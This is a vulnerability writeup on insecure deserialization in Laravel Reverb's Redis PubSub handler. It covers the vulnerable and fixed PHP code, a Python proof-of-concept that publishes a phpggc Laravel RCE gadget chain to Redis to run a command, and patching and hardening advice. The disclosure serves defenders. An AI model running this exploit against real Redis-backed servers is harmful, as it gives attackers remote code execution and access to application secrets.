Echoes of Doom: Unserializing RCE in Laravel Reverb
Jan 21, 2026·7 min read·2 visits
Executive Summary (TL;DR)
If you are running Laravel Reverb in a scaled environment (using Redis), you are likely vulnerable to RCE. Reverb fails to validate class types when processing messages from Redis, allowing an attacker with Redis access (or SSRF) to trigger a PHP Object Injection attack. Patch immediately to v1.7.0.
A critical deserialization vulnerability in Laravel Reverb allows remote code execution via malicious Redis PubSub messages when horizontal scaling is enabled.
The Hook: Tuning into the Wrong Channel
Laravel Reverb burst onto the scene as the first-party WebSocket server for the Laravel ecosystem, finally giving developers a native PHP alternative to expensive SaaS solutions like Pusher or complex Node.js setups like Socket.io. It screams performance, using non-blocking I/O to handle thousands of concurrent connections. But, like any good distributed system, it hits a wall when a single server isn't enough. To scale, you need multiple Reverb nodes, and those nodes need to talk to each other.
Enter Redis. When you flip the switch to REVERB_SCALING_ENABLED=true, Reverb starts using Redis PubSub to synchronize events across your fleet. It’s a classic architecture: one node broadcasts an event ("User X sent a message"), and all other nodes pick it up and relay it to their connected clients. It’s elegant, fast, and standard practice.
But here is the catch: implicit trust. The developers assumed that the Redis channel is a sanctuary—a trusted internal pipe where only valid application messages flow. They assumed that if a message appeared in the PubSub channel, it must have come from another valid Reverb node. As security researchers, we know that assumption is the mother of all screw-ups. What happens if we decide to join the conversation?
The Flaw: A Zombie Apocalypse of Objects
The vulnerability is a textbook case of Insecure Deserialization (CWE-502), a bug class that refuses to die because it is just so convenient for developers. To pass complex data structures between Reverb nodes, the application serializes PHP objects into strings and ships them over Redis. On the receiving end, the code needs to turn those strings back into living, breathing PHP objects.
The specific failure occurred in how Reverb handled incoming PubSub messages. The incoming JSON payload contained fields like application and payload which were actually serialized PHP strings. Instead of manually parsing these or validating what was inside, Reverb simply passed them to PHP's native unserialize() function.
This is the digital equivalent of accepting a package from a stranger, opening it, and immediately eating whatever is inside without looking. PHP's unserialize() doesn't just restore data; it wakes up objects. It triggers "magic methods" like __wakeup() and __destruct(). If an attacker can control the serialized string, they can force the application to instantiate any class available in the codebase. By chaining these object instantiations together (a technique called Property-Oriented Programming, or POP), an attacker can manipulate the internal logic of valid classes to execute arbitrary system commands.
The Code: The Smoking Gun
Let's look at the crime scene. The vulnerability resided in src/Protocols/Pusher/PusherPubSubIncomingMessageHandler.php. This class is responsible for ingesting messages from Redis. The handle method takes the raw JSON payload and processes it.
Here is the vulnerable logic prior to version 1.7.0:
public function handle(string $payload): void
{
// Decode the outer JSON envelope
$event = json_decode($payload, associative: true, flags: JSON_THROW_ON_ERROR);
$this->processEventListeners($event);
// VULNERABILITY #1: Unrestricted unserialization of 'application'
$application = unserialize($event['application'] ?? null);
// ... processing logic ...
match ($event['type'] ?? null) {
'message' => $this->handleMessage($event),
// VULNERABILITY #2: Unrestricted unserialization of 'payload'
'metrics' => app(MetricsHandler::class)->publish(
unserialize($event['payload'])
),
// ...
};
}Notice the lack of a second argument in unserialize(). PHP 7.0 introduced the allowed_classes option precisely to prevent this attack, but it was omitted here. This means any class can be instantiated.
The fix, applied in commit 9ec26f8ffbb701f84920dd0bb9781a1797591f1a, adds strict allow-listing:
// THE FIX: Whitelisting allowed classes
$application = unserialize($event['application'] ?? null, ['allowed_classes' => [Application::class]]);
// ...
'metrics' => app(MetricsHandler::class)->publish(
unserialize($event['payload'], ['allowed_classes' => [
Application::class, PendingMetric::class, MetricType::class
]])
),By defining exactly which classes are allowed (Application, PendingMetric, etc.), the gadget chains are broken. Even if an attacker sends a malicious payload, unserialize will refuse to instantiate the dangerous gadget classes, rendering the exploit inert.
The Exploit: Weaponizing Redis
To exploit this, we don't need to attack Reverb directly via HTTP/WebSocket. We need to attack the Redis backend. This is often easier than it sounds. Developers frequently leave Redis exposed on internal networks without authentication, or we might leverage a Server-Side Request Forgery (SSRF) vulnerability in another part of the stack to talk to Redis on port 6379.
Here is the attack plan:
- Generate a Gadget Chain: We use
phpggc, the standard tool for PHP serialization exploits. Since Reverb runs on Laravel, we have a buffet of gadget chains available (e.g.,Laravel/RCE1,Monolog/RCE1,RCE2, etc.). - Craft the Payload: We wrap the serialized object in the JSON structure Reverb expects.
- Publish: We fire the message into the Redis channel.
Below is a conceptual Python exploit script demonstrating the attack:
import redis
import json
import subprocess
# 1. Generate the serialized payload (e.g., executing 'id')
# Using phpggc to generate a Laravel RCE payload
serialized_payload = subprocess.check_output(
['phpggc', 'Laravel/RCE1', 'system', 'id']
).decode('utf-8').strip()
# 2. Construct the Reverb-compatible JSON message
# Reverb expects 'type', 'application', and 'payload'
message = {
"type": "metrics",
"application": "N;", # Null, not targeting this path
"payload": serialized_payload # The bomb goes here
}
# 3. Connect to the exposed Redis instance
r = redis.Redis(host='target-redis.internal', port=6379)
# 4. Publish to the Reverb channel
# Note: The channel name usually defaults to 'reverb'
print(f"[*] Sending payload to Redis channel 'reverb'...")
r.publish('reverb', json.dumps(message))
print("[*] Payload sent. Check your listener.")As soon as the Reverb node picks up this message, unserialize() executes, the gadget chain fires, and the system('id') command runs on the server. If Reverb is running as root (please don't do this) or a user with significant privileges, the attacker now owns the box.
The Impact: Why Should We Panic?
This is a full Remote Code Execution (RCE). It doesn't get much worse than this. Because Reverb is deeply integrated into the Laravel ecosystem, it likely has access to the application's environment variables (.env), which usually contain database credentials, AWS API keys, and mail server passwords.
Furthermore, Reverb is designed to handle persistent connections. An attacker who compromises a Reverb node can perform Mass Surveillance on real-time communications. They could inject malicious JavaScript into WebSocket frames sent to connected clients (Cross-Site Scripting via WebSocket), effectively pivoting from the backend to the frontend users' browsers.
Since this vulnerability relies on Redis, it also implies a breach of the internal trust boundary. If an attacker can reach Redis, they might already be inside the network, but this vulnerability allows them to upgrade that network access into full compute control over the application servers.
The Fix: Closing the Window
The remediation is straightforward but urgent. You must update the laravel/reverb package to version v1.7.0 or higher. This version introduces the allowed_classes whitelist we analyzed earlier, neutralizing the deserialization vector.
Run the following in your project root:
composer update laravel/reverbDefense in Depth: This vulnerability highlights the danger of treating internal services like Redis as "safe zones." You should ensure:
- Redis Authentication: Always use
requirepassin your Redis configuration. Reverb supports authenticated Redis connections. - Network Isolation: Redis should not be exposed to the public internet. Use VPC peering or firewalls (Security Groups) to restrict port 6379 access strictly to the Reverb and Application servers.
- Least Privilege: Run the Reverb daemon as a low-privileged user, not root, to limit the blast radius if RCE occurs.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Laravel Reverb Laravel | < 1.7.0 | 1.7.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 |
| Attack Vector | Network (Redis PubSub) |
| CVSS v3.1 | 9.8 (Critical) |
| Impact | Remote Code Execution |
| Requirement | Redis Scaling Enabled |
| Exploit Status | Weaponized (PoC Available) |
MITRE ATT&CK Mapping
The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.